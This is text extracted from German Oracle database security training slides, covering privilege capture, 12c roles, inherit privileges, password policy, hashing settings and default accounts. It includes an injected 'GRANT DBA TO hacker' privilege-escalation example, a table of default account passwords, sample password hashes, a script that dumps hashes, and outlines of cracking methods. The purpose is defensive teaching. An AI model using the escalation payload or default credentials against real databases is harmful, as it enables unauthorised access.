MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung; Prozedur Security I 2 - 35 Security I 2 - 35 Beispiele Alle Rechte der Datenbank erfassen BEGIN DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE( name => 'all_privs', type => DBMS_PRIVILEGE_CAPTURE.G_DATABASE); END; Alle Rechte von PUBLIC erfassen BEGIN DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE( name => 'pub_analysis', type => DBMS_PRIVILEGE_CAPTURE.G_ROLE, roles => role_name_list('PUBLIC')); END; Hinweis: Es können mehrere Rollen mit Komma getrennt angegeben werden MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung; Beispiele Security I 2 - 36 Security I 2 - 36 Beispiele Die genutzten Rechte des Benutzers SCOTT erfassen BEGIN DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE( name => 'ANY_priv_analysis_pol', type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT, condition => q'!SYS_CONTEXT( 'USERENV', 'SESSION_USER')='SCOTT'!'); END; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung; Beispiele Security I 2 - 37 Security I 2 - 37 App-Überwachung in fremder Session Alle genutzten Rechte des Modul sap_modul BEGIN DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE( name => 'emp_pkg_privs', type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT, condition => q'!SYS_CONTEXT( 'USERENV', 'MODULE') = 'sap_modul'!'); END; Alternativ erstellen Sie einen Logon-Trigger, der beim Anmelden einer bestimmten APP die Überwachung aktiviert MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 38 Security I 2 - 38 Start / Ende der Erfassung Aufzeichnung starten BEGIN DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE ('ALL_PRIVS_ANALYSIS'); END; Ihre Anwendung benutzen SELECT * FROM … CREATE TABLE … DROP VIEW … Aufzeichnung beenden BEGIN DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE ('ALL_PRIVS_ANALYSIS'); END; Report erzeugen BEGIN DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT ('ALL_PRIVS_ANALYSIS'); END; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung Security I 2 - 39 Security I 2 - 39 Übersicht der Ausgabe Diese Views werden zur Ausgabe der Informationen verwendet: DBA_USED_PRIVS bzw. DBA_UNUSED_PRIVS DBA_USED_PUBPRIVS DBA_USED_SYSPRIVS bzw. DBA_UNUSED_SYSPRIVS DBA_USED_SYSPRIVS_PATH bzw. DBA_UNUSED_SYSPRIVS_PATH DBA_USED_OBJPRIVS bzw. DBA_UNUSED_OBJPRIVS DBA_USED_OBJPRIVS_PATH bzw. DBA_UNUSED_OBJPRIVS_PATH MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung; Views Security I 2 - 40 Security I 2 - 40 Beispielausgabe DBA_UNUSED_PRIVS für den Benutzer SCOTT MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung Security I 2 - 41 Security I 2 - 41 Neue Rollen in 12c Rolle Beschreibung AUDIT_ADMIN Benutzung von AUDIT und NOAUDIT Befehlen + Unified und fine-grained Audit Policies AUDIT_VIEWER Analyse und Betrachtung von Audit Einträgen CAPTURE_ADMIN Zum Erstellen von Verwalten von Privileg Analysis Policies mit dem Package dbms_privilege_capture CDB_DBA Administration der CDB incl. SET CONTAINER, SELECT ON PDB_PLUG_IN_VIOLATIONS, und SELECT ON CDB_LOCAL_ADMIN_PRIVS. EM_EXPRESS_BASIC Anmelden am EM und Betrachtung von Read Only Views (beinhaltet select_catalog_role) EM_EXPRESS_ALL Benutzung aller Funktion des EM (beinhaltet EM_EXPRESS_BASIC) MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rollen; neu Security I 2 - 42 Security I 2 - 42 Neue Rollen in 12c (f) Rolle Beschreibung GLOBAL_AQ_USER_ROLE Ermöglicht Verbindungen zu einem LDAP Server zur Benutzung mit Oracle Streams AQ OPTIMIZER_PROCESSING_ RATE Erlaubt die Ausführung der Package-Prozeduren: GATHER_PROCESSING_RATE, SET_PROCESSING_RATE DELETE_PROCESSING_RATE PDB_DBA Wird automatisch den lokalem Benutzer gegeben, wenn eine neue Pluggable Datenbank (PDB) von der seed PDB erstellt wird. Keine Rechte sind mit der Rolle verknüpft MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rollen; neu Security I 2 - 43 Security I 2 - 43 Neue Rechte in 12.1.0.1 Recht Beschreibung CREATE PLUGGABLE DATABASE CLONE PLUGGABLE DATABASE Erlaubt Erstellen von neuen Containern für DB EXEMPT REDACTION POLICY Ermöglicht die Umgehung der bestehenden Oracle Data Redaction Policies KEEP DATE TIME Für RAS: Gleiches Datum kann erneut übertragen werden KEEP SYSGUID Für RAS: Gleiche SYSGUID kann erneut übertragen werden (sys_guid()) KEEP SEQUENCE Für RAS: Gleiche Sequence kann im Fehlerfall erneut übertragen werden. z.B.: GRANT KEEP SEQUENCE ON usr.seq1 to usr2; MuniQSoft GmbH Erlaubt das Klonen eines Containers Kapitel 2 - Rechte & Rollen Stichwörter: Rechte; neu Security I 2 - 44 Security I 2 - 44 Neue Rechte in 12.1.0.2 Recht Beschreibung READ Erlaubt das Ausführen eines Selects auf eine spezielle Tabelle, View, Materialized View oder ein Synonym READ ANY TABLE Erlaubt das Ausführen eines Selects auf eine beliebige Tabelle, View, Materialized View oder Synonym in einem anderen Schema Unterschiede READ SELECT Recht SELECT Recht READ Recht LOCK TABLE <t> IN EXCLUSIVE MODE SELECT … FROM <t> FOR UPDATE; SELECT … FROM <T> MuniQSoft GmbH SELECT … FROM <T> Kapitel 2 - Rechte & Rollen Security I 2 - 45 Hinweis: Wenn der Parameter SQL92_SECURITY=TRUE gesetzt ist, benötigt der Benutzer weiterhin ein SELECT Recht auf der Tabelle bei einem UPDATE oder DELETE Stichwörter: Rechte; neu Security I 2 - 45 Inherit Privileges (Oracle 12c) Bei PL/SQL Objekten, die mit Invoker Rights kompiliert wurden, kann es passieren, dass ein Entwickler mit wenig Rechten für einen Benutzer mit vielen Rechte ein PL/SQL Objekt erstellt. Der Entwickler könnte durch die Vererbung nun mehr Rechte erlangen, als er selber hatte. Dies wird nun verhindert Fehler ORA-06598: insufficient INHERIT PRIVILEGES privilege. kann aber über das Recht -INHERIT [ANY] PRIVILEGESwieder ermöglicht werden MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 46 Security I 2 - 46 Inherit Privileges (f) Beim Anlegen eines neuen Benutzers wird Ihm automatisch über die PUBLIC Rolle das Recht INHERIT PRIVILEGES zugewiesen: CREATE USER SCOTT IDENTIFIED BY TIGER; SELECT * FROM dba_tab_privs WHERE grantee='PUBLIC' AND privilege='INHERIT PRIVILEGES' AND table_name='SCOTT'; Sie müssen Ihm also das Recht explizit entziehen, damit dieser neuer Mechanismus funktioniert ! MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 47 Security I 2 - 47 Beispiel zu inherit Privileges Benutzer A Entwickler B CREATE PROCEDUE P AUTHID CURRENT_USER IS BEGIN INSERT INTO a.t … END; Hat DBA Rechte und Tabelle t Führt Procedure p aus und erstellt ungewollt einen neuen Benutzer mit DBA Rechten !!! MuniQSoft GmbH -- INSERT wird ersetzt durch EXECUTE IMMEDIATE 'GRANT DBA TO hacker IDENTIFIED BY xx'; Kapitel 2 - Rechte & Rollen Security I 2 - 48 Security I 2 - 48 Beispiel zu inherit Privileges Syntax zum Vergeben des Rechts: GRANT INHERIT PRIVILEGES ON USER <invoking_user> TO <procedure_owner>; Beispiel (Auf ein Schema begrenzen): GRANT INHERIT PRIVILEGES ON USER sys TO scott; Beispiel (Auf alle Schema ausweiten): GRANT INHERIT ANY PRIVILEGES TO scott; Syntax zum Entziehen des Rechts: REVOKE INHERIT PRIVILEGES ON USER <usr> FROM public|<usr>; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 49 Security I 2 - 49 Neuerung bei Rechten in 12.1.0.2 Dem Benutzer SCOTT erlauben die Role my_role an PL/SQL Objekte zu vergeben: GRANT my_role TO scott WITH DELEGATE OPTION; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 50 Security I 2 - 50 Kapitel 3 Benutzer und Passwörter Security I 3 - 1 Benutzerpasswörter Sie sollten möglichst lange Kennwörter verwenden (mehr als 10 Zeichen). Regeln für Kennwörter Maximal 30 Zeichen Keine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt) Groß und Kleinschreibung bis 10.2 egal (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt) Ab Version 11.1 können Passwörter auch Klein und Großbuchstaben beinhalten MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 2 Der Einsatz von guten Kennwörtern stellt eine der wichtigsten Aufgaben zum Schutz der Datenbank da. Sie sollten möglichst lange Kennwörter verwenden (mehr als 6 Zeichen). Folgende Regeln gelten für Kennwörter Maximal 30 Zeichen Keine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt) Groß und Kleinschreibung egal (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt) Für jeden Benutzer, bis auf SYS kann bei einer bestimmten Anzahl von fehlerhaft übergebenen Passwörtern der Benutzer-Account gesperrt werden. Das bedeutet, dass dieser Account ein besonders langes und gutes Passwort bekommen sollte. Ein Pentium 4 mit 3GHz benötigt: * 10 Sekunden für 5-ascii-character-combinations * 5 Minuten für 6-ascii-character-combinations * 2 Stunden für 7-ascii-character-combinations * 2,1 Tage für 8-ascii-character-combinations * 57 Tage für 9-ascii-character-combinations * 4 Jahre für 10-ascii-character-combinations Stichwörter: Benutzerpasswörter Security I 3 - 2 Optimierung von Passwörtern Schlecht sind folgende Passwörter: Oracle_asdfg (Oracle oder Firmennamen oder Benutzernamen im Passwort) + nur erster Buchstabe groß "Hans Maier" (beide Wörter stehen in einem PasswortWörterbuch) Elcaro_123 (oracle rückwärts) 0racl3 (Zahlen ersetzen Buchstaben i=1 e=3 o=0 …) Bibelzitate (Sind in Wörterbuchattacken bereits im Einsatz) O1r2a3c4l5e6 (Kombination aus einem Wort (oracle) und Zahlen MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 3 Verwenden Sie also NICHT: Ihren Namen Rückwärts + Zahlen oder Sonderzeichen. Den Firmennamen / Abteilungsnamen im Passwort. Keine Namen oder Ausdrücke, die in einem Wörterbuch vorkommen können. Kombination von mehreren Wörter aus einem Wörterbuch. Verwenden Sie lange Passwörter mit Groß und Kleinschreibung mehrfach gemischt + Sonderzeichen + Zahlen Beispiele: • • • mHggGum8_00 (mein Hund geht gerne Gassi um 8.00 (11 Stellen)) meHh_Sweetie (mein erstes Haustier hieß Sweetie (12 Stellen)) kkmPk_außer_Mir (kein kann mein Passwort knacken außer mir (15 Stellen)) Security I 3 - 3 Benutzerpasswörter Keine einfachen Kennwörternamen (peter, frank, susi, mausi) vergeben (besser: Fuchs Du hast die Gans gestohlen, gib sie wieder her... =>fdhdgggswh). Verwenden Sie keine Vornamen (Uschi, Klaus, Susanne) Fußball-Clubs (FCBayern) Städtenamen (Paris, Berlin, ...) Kosenamen (Mausi, Schnuckel, ...) Namen die in einem Wörterbuch stehen MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 4 Verwenden Sie nicht für alle Server die gleichen Passwörter. Wenn ein Rechner geknackt wurde, sind die anderen auch alle sofort unsicher. Auch wenn das Passwort sich nur geringfügig unterscheidet, ist es für ein Hacker unmöglich festzustellen welche Änderung durchgeführt wurde. Beispiel: Server1: Passwort: 01mybmw01 Server2: Passwort: 01my_bmw01 Server3: Passwort: 01mybmw#01 Die 10 häufigsten Passwörter: 1. Name des Anwenders 2. Name von Kindern, Partner oder Haustieren 3. Kein Kennwort 4. “Password” 5. “Sommer” oder “Winter” 6. “abc123” 7. “123456” 8. Name des Unternehmens 9 “qwert” oder “asdf” (Buchstabenfolge auf der Tastatur) 10. Monat des letzten Kennwortwechsels Stichwörter: Benutzerpasswörter Security I 3 - 4 Passwort ändern auf dem Client Methode des Clients der über Netzwerk mit Server verbunden : 1. connect <user>/<pwd> Verschlüsselung Client Server 2. SQL*PLUS> password 3. ALTER USER <user> IDENTIFIED BY <pwd>; 4. UPDATE sys.user$ SET password=<HASH>, spare4=<SHA>; Nicht supported !!!! 5. Netzwerkverkehr verschlüsselt + ALTER USER … IDENTIFIED BY 6. Netzwerkverkehr verschlüsselt + UPDATE sys.user$ 3 MuniQSoft GmbH 2 Kapitel 3 - Benutzer & Passwörter Security I 3 - 5 Hinweis: Das bedeutet, dass bei einer Änderung des Passworts auf der Client-Seite in den meisten Fällen das neue Passwort über das Netz unverschlüsselt übertragen wird. Damit ist auch das längste und beste Passwort über Netzwerk-Sniffer abgreifbar. Verschlüsseln Sie deshalb unbedingt den Netzwerkverkehr. Security I 3 - 5 Abschalten des alten PWD Algorithmus Seit Oracle 11 wird ein neuer PWD Algorithmus verwendet. Leider wird der alte nicht automatisch abgeschaltet. Sie können das in der Datei der sqlnet.ora konfigurieren 10g Clients (mit CPUOct2012) und höher SQLNET.ALLOWED_LOGON_VERSION_SERVER=11 11g Clients Verschlüsselung verwenden (ab 11.2.0.3): SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 11g und 12c Verschlüsselung verwenden (ab 12.1.0.2): SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a Hier wird beim Neusetzen des Passworts sowohl die alte 10g als auch die 11g Form des Passworts entfernt Achtung: SQL Developer 4.0.3 unterstützt dies NICHT MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 6 Hinweis: Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter: SQLNET.ALLOWED_LOGON_VERSION_CLIENT Auch dieser kann die Werte: 12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher 12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g Authentication Protocols (Empfohlen) 11 für Oracle Database 11g Authentication Protocols (dDfault) 10 für Oracle Database 10g Authentication Protocols 8 für Oracle8i Authentication Protocols Hinweis: Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen Client-Version anmelden. Security I 3 - 6 Abschalten des alten PWD Algorithmus Wenn im Parameter SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a] steht, wird die Spalte password der Tabelle sys.user$ nicht mehr gefüllt Damit ist der alte Algorithmus abgeschalten, es können sich aber nur noch Clients mit entsprechnd hoher Version anmelden Empfehlung von Oracle: Alle bisherigen Accounts nach einer Migration auf Expire setzen und neu vergeben [lassen] ALTER USER <user> PASSWORD EXPIRE; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 7 Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !) ALTER USER marco IDENTIFIED BY abc; SELECT name,password,spare4 FROM user$ WHERE name='MARCO'; Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a H:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C325 2FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649A F3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90 Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5 437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA 39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB 174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC Security I 3 - 7 Neue Passwortverschlüsselung in 12.1.0.2 Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Hash für die Passwortverschlüsselung Zuerst wird PBKDF2 incl Salt verwendet (http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Tables und Brut Force Angriffe zu erschweren OCI und JDBC Client in der Version 12c unterstützen diese neue Authentifizierung MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 8 Security I 3 - 8 Passwort-Hackmethoden Brute-Force Attack Es werden alle möglichen Kombinationen von Buchstaben ausgetestet Beispiel: AAAA AAAB ... ZZZZ Je kürzer das Passwort, desto schneller kann es gefunden werden. Passwörter mit 6 Buchstaben sind in wenigen Stunden geknackt MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Passwort-Hackmethoden, Brute-Force-Attacke Security I 3 - 9 Security I 3 - 9 Passwort-Hackmethoden Dictionary Attacke Alle Wörter die in einem Dictionary stehen ausprobieren MANAGER CHANGE_ON_INSTALL SYS Hybrid Attacke Alle Wörter die in einem Dictionary stehen werden mit Zahlen oder Sonderzeichen zusammengesetzt SYS123 USCHI6 Mau4si MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Passwort-Hackmethoden, Dictionary Attacke Security I 3 - 10 Security I 3 - 10 Passwort-Hackmethoden Time-memory trade-off (Rainbow Tables) Mögliche Passwort-Hash-Strings werden vorab berechnet und dann mit dem Oracle-Passwort verglichen Dies kann in wenigen Sekunden zum Ziel führen Die Information über die Oracle Passwort-Hash_strings findet man unter sys.user$ MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 11 Hinweis: Passwort Hack unter Windows: Das Administratorpasswort (oder jedes beliebig andere) kann zurück gesetzt werden Dazu ist nur ein Floppy-Laufwerk auf dem Rechner notwendig Workaround • Rechnerraum absperren, Floppy ausbauen • USB-Ports deaktivieren • CD-ROM/DVD deaktivieren Bedenken Sie auch, dass durch Manipulation des BIOS die Bootreihenfolge geändert werden kann. Schützen Sie deshalb auch BIOS z.B. durch BIOS-Passwörter. Stichwörter: Passwort-Hackmethoden, Time-memory trade-off Security I 3 - 11 Benutzeridentifizierung Passwortidentifikation unter Windows auch externally möglich Prüfung durch Betriebssystem ist praktischer, aber auch gefährlicher. SHOW PARAMTER OS_AUTHENT NAME TYPE ------------------------ ------os_authent_prefix string remote_os_authent boolean VALUE -----OPS$ TRUE CREATE USER OPS$MARCO IDENTIFIED EYTERNALLY; Jedoch ist es durch remote_os_authent=true auch einem unsicheren Client möglich sich u.U. in der DB anzumelden. Besser also auf FALSE setzen. MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzeridentifizierung Security I 3 - 12 Security I 3 - 12 Benutzeridentifizierung Authentifizierung über das Netzwerk Hier ist die Einstellung remote_os_authent unerheblich Identifizierung erfolgt über Advanced Networking Option (via Kerberos oder DCE) MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzeridentifizierung Security I 3 - 13 Security I 3 - 13 Benutzer Nicht als SYS oder SYSTEM in der Datenbank spielen => DEMO-Account anlegen mit beschränkten Rechten. Vergeben Sie für die Oracle-Default- User andere Passwörter SYS und SYSTEM OUTLN und MDSYS Accounts die nicht genutzt werden, sollten gesperrt werden: Account sperren: ALTER USER <user> ACCOUNT LOCK; Sperrung aufheben: ALTER USER <user> ACCOUNT UNLOCK; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzer Security I 3 - 14 Security I 3 - 14 Benutzerpasswörter (APEX) Username Passw ort Ab Drop Lock Bedeutung APEX_PUBLIC_ USER ----- 11.1.x N N Wird für APEX verwendet. Ab 11.1 als Default installiert. Kann aber ab 9.2.0.2 auch bereits manuell installiert werden. Wenn Account gelockt wird, kann APEX nicht verwendet werden! FLOWS_FILES ----- 11.1.x N Y Benutzer für APEX Dateien. Account sollte gesperrt bleiben 11.1.x 11.2.x 12.? N Y Folgende Versionen existieren derzeit: FLOWS_016000, FLOWS_020000, FLOWS_020200, FLOWS_030000, FLOWS_030100, FLOWS_030200, APEX_040000, APEX_040100, APEX_040200, APEX_050000 FLOWS_03* APEX_04* APEX_05* (derzeit Beta) MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter (APEX) Security I 3 - 15 Security I 3 - 15 Benutzerpasswörter Username Passwort Ab Drop Lock AUDSYS <keines> 12.1 N Y Bedeutung Inhaber der Audit Daten APPQQOSSYS <frei wählbar> 11.2 N Y/N Qualitätsmanagement Benutzer für RAC Server Pools DBSNMP Wird bei Installation bestimmt 8.x N N Enterprise Manger Agent Benutzer (10g/11g) UNIX$>export ORACLE_SID=<sid> WIN> SET ORACLE_SID=<sid> WIN> SET ORACLE_HOME=<ORACLE_HOME> WIN/UNIX> cd %ORACLE_HOME%/bin WIN/UNIX> emctl stop dbconsole SQL> ALTER USER dbsnmp IDENTIFIED BY <new_pwd>; WIN/UNIX> cd $ORACLE_HOME/host_sid/sysman/emd Sicherheitskopie von targets.xml erstellen In der Datei die folgende Zeile editieren: <Property NAME="password" VALUE="<encrypted_string>" ENCRYPTED="TRUE"/> Ändern Sie den Wert auf das neue Passwort (Klartext) und setzen Sie ENCRYPTED auf "FALSE" WIN/UNIX> emctl start dbconsole' Setzen Sie nun in der Datei targets.xml ENCRYPTED auf "TRUE" MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Für die Version 9i wird folgendes Verfahren verwendet: SNMP-Benutzer mit Connect&Resource Rolle Passwort ändern in Datei: snmp_rw.ora SNMP.CONNECT.<service_name>.user=<user> SNMP.CONNECT.<service_name>.password=<pwd> Benutzer kann gelöscht werden mittels: catnsnmp.sql Neuangelegt wird er mit: catsnmp.sql Stichwörter: Benutzerpasswörter Security I 3 - 16 Security I 3 - 16 Benutzerpasswörter Username Passwort Ab Drop Lock Bedeutung CTXSYS CTXSYS 8.1.x N Y Inhaber der Media-Text-Objekte. DIP ??? 10.1 N Y Wird für Label Security (Extra-Option) verwendet DMSYS DMSYS 10.1 N Y Data Mining User. Ersetzt die User ODM und ODM_MTR. Wird angelegt durch das Skript: ./dm/admin/odmcrtm.sql DVF <user> 11.1 N Y Database Vault (Extra-Option) DVSYS <user> 11.1 N Y Database Vault Administrator (Extra-Option) EXFSYS EXFSYS 10.1 N Y Benutzer für Expression Filter. Kann durch das Skript: @$ORACLE_HOME/rdbms/admin/catexf.sql bei Bedarf neu angelegt werden. Löschen mittels: @$ORACLE_HOME/rdbms/admin/catnoexf.sql GSMADMIN _INTERNAL 12.1 N Y Global Data Service Manager Benutzer für Replikationsumgebungen GSMCAT USER 12.1 N Y Global Data Service Manager Benutzer GSMUSER 12.1 N Y Global Data Service Manager Benutzer MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter Security I 3 - 17 Security I 3 - 17 Benutzerpasswörter (ff) Username Passwort Ab Drop Lock Bedeutung INTERNAL ORACLE V6.x N N Aliasname für SYS-Benutzer mit SYSDBA-Rechten Passwort ändern mit orapwd-Utility. Wird ab Version 9.1 nicht mehr unterstützt. LBACSYS LBACYSY V8iV9i N/Y Y Oracle Label Security Benutzer. Wird angelegt durch das Skript:@?\rdbms\admin\catols.sql Gelöscht werden kann er durch catnools.sql MDDATA ??? Ab 10g N Y Spatial und Intermedia-Benutzer MDSYS MDSYS V8i N/Y Y Spatial und Intermedia-Benutzer mit DBA-Rechten MGMT_ VIEW Zufällig erzeugt Ab 10g N N Benutzer für Enterprise Manager MTSSYS MTSSYS V8.x N Y Benutzer für Microsoft Transaction Server MIGRATE MIGRATE Mig. 10=>11 N N Benutzer der Migrationsobjekte besitzt. Er ist nur während der Migration verfügbar MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter Security I 3 - 18 Security I 3 - 18 Benutzerpasswörter (ff) Username Passwort Ab Drop Lock Bedeutung ODM ODM 9i N/Y Y Data Mining Benutzer (+ ODM_MTR User) Passwörter können auch geändert werden 12.1 N Y Java Virtual Machine Benutzer OJVMSYS OLAPSYS OLAPSYS 9i N/Y Y Olap Benutzer ORDSYS ORDSYS 8i N/Y Y Spatial und Intermedia-Benutzer OWBSYS ??? 10g N/Y Y Warehouse Builder ORDPLUGIN ORDPLUGIN 8i N/Y Y Intermedia Audio & Video Benutzer Passwort ändern mit ALTER USER ORDPLUGIN IDENTIFIED BY <pwd>; ORACLE_ OCM ?? 11.1 ? Y Oracle Configuration Manager. Zur Kommunikation mit Metalink MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter Security I 3 - 19 Security I 3 - 19 Benutzerpasswörter (ff) Username Passwort Ab Drop Lock Bedeutung OUTLN OUTLN 8.i N Y Inhaber des OUTLN-Packages mit DBA-Rolle Passwort ändern mit ALTER USER OUTLN IDENTIFIED BY <pwd>; Nicht löschen, sonst können keine Constraints mehr gesetzt werden. Auch Analysen sind nicht mehr möglich. Wird angelegt durch das Skript sql.bsq PERFSTAT PERFSTAT V8.x N Y Benutzer für Statspack Statistiken. RMAN oder Benuterdef. <USERDEF> V8.x N N Eigentümer des Recovery Manager Repositories. Benutzername kann frei gewählt werden (meist jedoch RMAN) REPADMIN REPADMIN V8.x N N Benutzer für Replikation. Passwort ändern mit ALTER USER REPADMIN IDENTIFIED BY <pwd>; SYSMAN OEM_TEMP EMV2.0. x N N Enterprise Manager Benutzer für OMS Passwort ändern mit: Skript für 8i/9i ORA_Home>\SYSMAN\Admin starten: vduResetSysman.sql MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter Security I 3 - 20 Security I 3 - 20 Benutzerpasswörter (ff) Username Passwort Ab Drop Lock Bedeutung SCOTT TIGER V6.x Y Y Beispielbenutzer mit einigen Rechten. Kann neu angelegt werden mit dem Skript: @?/RDBMS/ADMIN/scott.sql oder utlsampl.sql 9i N/Y Y Intermedia-Benutzer SI_INFORMATN_ SCHEMA SYS <benutzer def.> V6.x N N Inhaber der Datenbank mit allen Rechten Passwort ändern mit ALTER USER SYS IDENTIFIED BY <pwd>; SYSTEM MANAGER oder <benutzer def.> V6.x N N DBA der Oracle Datenbank Passwort ändern mit ALTER USER ... IDENTIFIED.. TSMSYS TSMSYS 10.2 N Y Transparent Session Migration MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter Security I 3 - 21 Security I 3 - 21 Benutzerpasswörter (ff) Username Passwort Ab Drop Lock Bedeutung WKPROXY change_on_ install V9i Y Y Ultrasearch User Wird angelegt mittels: ultrasearch/admin/wk0csys.sql WKSYS change_on_ install V9i Y Y Ultrasearch User Wird angelegt mittels: ultrasearch/admin/wk0install.sql WMSYS WMSYS V9i N Y Workspace Manager. Wird angelegt mittels: owmctab.plb Gelöscht durch: owmuinst.plb XDB <userdef> V9i N Y Für XML Datenbank. Kann angelegt werden mittels: catqm.sql gelöscht werden mittels catnoqm.sql XS$NULL keins 11.1 N Y Kein eigentlicher User. Wird für interne Zwecke verwendet. Hat keine Rechte MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Benutzerpasswörter Security I 3 - 22 Security I 3 - 22 Administrationsbenutzer Benutzer Rechte Beschreibung SYSDBA STARTUP, SHUTDOWN CREATE DATABASE RECOVER DATABASE Alle Rechte mit ADMIN Priv. "Root" Benutzer der Datenbank. SYSOPER STARTUP; SHUTDOWN ALTER DATABASE BACKUP, ARCHIVE LOG, RECOVER. Abgespeckter SYSDBA, der nicht auf Tabellen zugreifen darf! SYSASM (ab 11g) CREATE DISKGROUp, DROP DISKGROUP, … Verwaltung der ASM Instanz (Trennung von DB und OS Administration) SYSBACKUP (ab 12c) für Backup & Recovery Aufgaben mittels RMAN oder SQL*Plus SYSDG (ab 12c) zur Verwaltung des Oracle Data Guard oder des dgmgrl Tools SYSKM (ab 12c) zur Verwaltung des Encryption key Managements (Transparent Data Encryption Wallet) MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 23 Security I 3 - 23 Übersicht der Rechte pro Benutzer Startup/ Shutdown ALTER DB OPEN MOUNT BACKUP ARCHIVE LOG RECOVER DB SELECT auf APP Tabellen CHANGE CHARACTER SET CREATE, DROP DB CREATE SPFILE RESTRICTED SESSION SYSDBA (ab 8.0) Schema/ Grund Privilegien SYS Vollständig SYSOPER (ab 8.0) PUBLIC CREATE SYSBACKUP (ab 12.1) SYSBACK UP SYSDG (ab 12.1) SYSDG SYSKM (ab 12.1) SYSKM Die drei neuen Benutzer können nicht mehr gelöscht werden MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Welche Rechte haben die neuen Benutzer: SYSDG •STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SESSION •ALTER SYSTEM •CREATE RESTORE POINT (including GUARANTEED restore points) •CREATE SESSION •DROP RESTORE POINT (including GUARANTEED restore points) •FLASHBACK DATABASE •SELECT ANY DICTIONARY •SELECT • X$ tables (fixed tables) • V$ and GV$ views (performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN •DELETE • APPQOSSYS.WLM_CLASSIFIER_PLAN •EXECUTE • SYS.DBMS_DRS Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG Security I 3 - 24 Security I 3 - 24 Passwörter in Skripten Schützen Sie Ihre Skriptverzeichnisse (Backup &Recovery, Monitoring, Datenübernahme), damit niemand Passwörter im Klartext auslesen kann Das folgende Skript merkt sich alle Passwörter: SPOOL passwordrestore.sql SELECT 'alter user '||username||' identified by values '''||password||''';' FROM dba_users WHERE username=upper('&&1'); SPOOL OFF MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 25 